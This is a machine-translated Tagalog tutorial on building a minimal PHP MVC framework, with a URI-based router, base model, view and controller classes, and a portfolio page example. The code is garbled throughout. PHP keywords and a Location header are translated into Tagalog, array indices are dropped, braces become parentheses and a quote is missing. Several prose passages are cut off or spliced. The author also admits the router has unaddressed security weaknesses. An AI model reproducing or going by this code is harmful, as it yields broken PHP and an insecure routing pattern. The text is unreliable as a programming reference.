Ruta ng klase ( static function start () ( // controller at default na aksyon $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get ang controller name if (!empty ($routes)) ($controller_name = $routes ; ) // kunin ang action name if (!empty ($routes )) ($action_name = $routes ; ) // add prefixes $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // ikonekta ang file sa klase ng modelo (maaaring walang modelong file) $model_file = strtolower ($model_name). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( isama ang "application/models/" .$model_file ; ) // i-hook up ang file kasama ang controller class $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( isama ang "application/controllers/" .$controller_file ; ) else ( /* tama na maglagay ng exception dito, ngunit para gawing simple ang mga bagay, magre-redirect kami kaagad sa 404 page */ Route::ErrorPage404(); ) // lumikha ng controller $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // tawagan ang controller action $controller ->$action (); ) else ( // dito rin mas matalinong maglagay ng exception Route::ErrorPage404(); ) ) function na ErrorPage404 ( ) ($host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Lokasyon:" .$host ."404" ); ) )
Pansinin ko na ang klase ay nagpapatupad ng napakasimpleng lohika (sa kabila ng napakalaking code) at maaaring magkaroon ng mga problema sa seguridad. Sinadya ito, dahil... Ang pagsulat ng isang ganap na klase sa pagruruta ay nararapat kahit isang hiwalay na artikulo. Tingnan natin ang mga pangunahing punto...
Ang global array element na $_SERVER["REQUEST_URI"] ay naglalaman ng buong address kung saan nakipag-ugnayan ang user.
Halimbawa: example.ru/contacts/feedback
Gamit ang function sumabog Ang address ay nahahati sa mga bahagi. Bilang isang resulta, nakuha namin ang pangalan ng controller, para sa halimbawang ibinigay, ito ay controller mga contact at ang pangalan ng aksyon, sa aming kaso - puna.
Susunod, ang modelong file (ang modelo ay maaaring nawawala) at ang controller file, kung mayroon man, ay konektado at sa wakas, isang instance ng controller ay nilikha at ang aksyon ay tinatawag, muli, kung ito ay inilarawan sa controller class.
Kaya, kapag pupunta sa, halimbawa, ang address:
example.com/portfolio
o
example.com/portfolio/index
Gagawin ng router ang mga sumusunod na aksyon:
example.com/ufo
pagkatapos ay ire-redirect siya sa pahinang "404":
example.com/404
Ang parehong bagay ay mangyayari kung ang gumagamit ay nag-access ng isang aksyon na hindi inilarawan sa controller.2.2. Bumalik tayo sa pagpapatupad ng MVC. Pumunta tayo sa core folder at magdagdag ng tatlo pang file sa route.php file: model.php, view.php at controller.php
Hayaan mong ipaalala ko sa iyo na maglalaman sila ng mga batayang klase, na sisimulan na nating isulat.
Mga nilalaman ng model.php file
Modelo ng klase ( public function get_data ( ) ( ) )
Ang klase ng modelo ay naglalaman ng isang walang laman na paraan ng pagkuha ng data, na ma-o-override sa mga descendant na klase. Kapag gumawa tayo ng mga descendant class ay magiging mas malinaw ang lahat.
Mga nilalaman ng view.php file
class View ( //public $template_view; // dito maaari mong tukuyin ang default na pangkalahatang view. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elemento sa mga variable extract($data); ) */ isama ang "application/views/" .$template_view ; ) )
Ito ay hindi mahirap hulaan na ang paraan bumuo nilayon upang bumuo ng isang view. Ang mga sumusunod na parameter ay ipinapasa dito:
upang ipakita ang nilalaman ng isang partikular na pahina.
Sa aming kaso, ang pangkalahatang template ay maglalaman ng header, menu, sidebar at footer, at ang nilalaman ng pahina ay ilalagay sa isang hiwalay na form. Muli, ito ay ginagawa para sa pagiging simple.
Mga nilalaman ng controller.php file
Class Controller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
Pamamaraan action_index- ito ang aksyon na tinatawag bilang default; i-override namin ito kapag nagpapatupad ng mga descendant na klase.
Sa nakaraang figure, ang file na template_view.php ay naka-highlight nang hiwalay - ito ay isang template na naglalaman ng markup na karaniwan sa lahat ng mga pahina. Sa pinakasimpleng kaso, maaaring ganito ang hitsura:
bahay
Upang bigyan ang site ng isang presentable na hitsura, gumawa kami ng CSS template at isinasama ito sa aming site sa pamamagitan ng pagbabago sa istruktura ng HTML markup at pagkonekta ng CSS at JavaScript na mga file:
Sa dulo ng artikulo, sa seksyong "Resulta", mayroong isang link sa isang GitHub repository na may isang proyekto kung saan ang mga hakbang ay ginawa upang maisama ang isang simpleng template.
class Controller_Main extends Controller ( function action_index () ($this ->view->generate("main_view.php" , "template_view.php" ); ) )
Sa pamamaraan bumuo isang halimbawa ng klase ng View, ang mga pangalan ng mga file ng pangkalahatang template at ang view na may nilalaman ng pahina ay ipinasa.
Bilang karagdagan sa index action, ang controller ay maaaring maglaman ng iba pang mga aksyon.
Sinuri namin ang pangkalahatang view ng file kanina. Isaalang-alang ang file ng nilalaman main_view.php:
Maligayang pagdating! Ang OLOLOSHA TEAM ay isang pangkat ng mga first-class na espesyalista sa larangan ng pag-develop ng website na may maraming taon ng karanasan sa pagkolekta ng mga Mexican mask, bronze at stone statues mula sa India at Ceylon, bas-relief at sculpture na nilikha ng mga masters ng Equatorial Africa lima o anim na siglo. kanina...
Naglalaman ito ng simpleng markup nang walang anumang mga tawag sa PHP.
Upang ipakita ang pangunahing pahina, maaari mong gamitin ang isa sa mga sumusunod na address:
- pamamaraan ng mga aklatan na nagpapatupad ng data abstraction. Halimbawa, ang mga pamamaraan ng PEAR MDB2 library;
- Mga pamamaraan ng ORM;
- mga pamamaraan para sa pagtatrabaho sa NoSQL;
- at iba pa. Para sa pagiging simple, hindi kami gagamit ng mga SQL query o ORM statement dito. Sa halip, tutularan namin ang totoong data at agad na magbabalik ng hanay ng mga resulta.
Ilagay ang model file model_portfolio.php sa folder ng mga modelo. Narito ang mga nilalaman nito:
class Model_Portfolio extends Model ( public function get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Promotional site of the dark Dunkel beer mula sa German manufacturer na Löwenbraü na ginawa sa Russia ng brewing company na "SUN InBev." ), array ("Year" => "2012" , "Site" => "http://ZopoMobile.ru" , "Description " => "Russian-language catalog ng mga Chinese na telepono mula sa Zopo batay sa Android OS at mga accessories para sa kanila."), // todo ) ) )
Ang klase ng controller ng modelo ay nakapaloob sa controller_portfolio.php file, narito ang code nito:
class Controller_Portfolio extends Controller ( function __construct () ($this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ($data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
Sa isang variable datos ang array na ibinalik ng pamamaraan ay nakasulat get_data na tiningnan namin kanina.
Ang variable na ito ay ipinapasa bilang isang parameter ng pamamaraan bumuo, na naglalaman din ng: ang pangalan ng file na may pangkalahatang template at ang pangalan ng file na naglalaman ng view na may nilalaman ng pahina.
Ang view na naglalaman ng nilalaman ng pahina ay nasa portfolio_view.php file.
Portfolio
taon | Proyekto | Paglalarawan |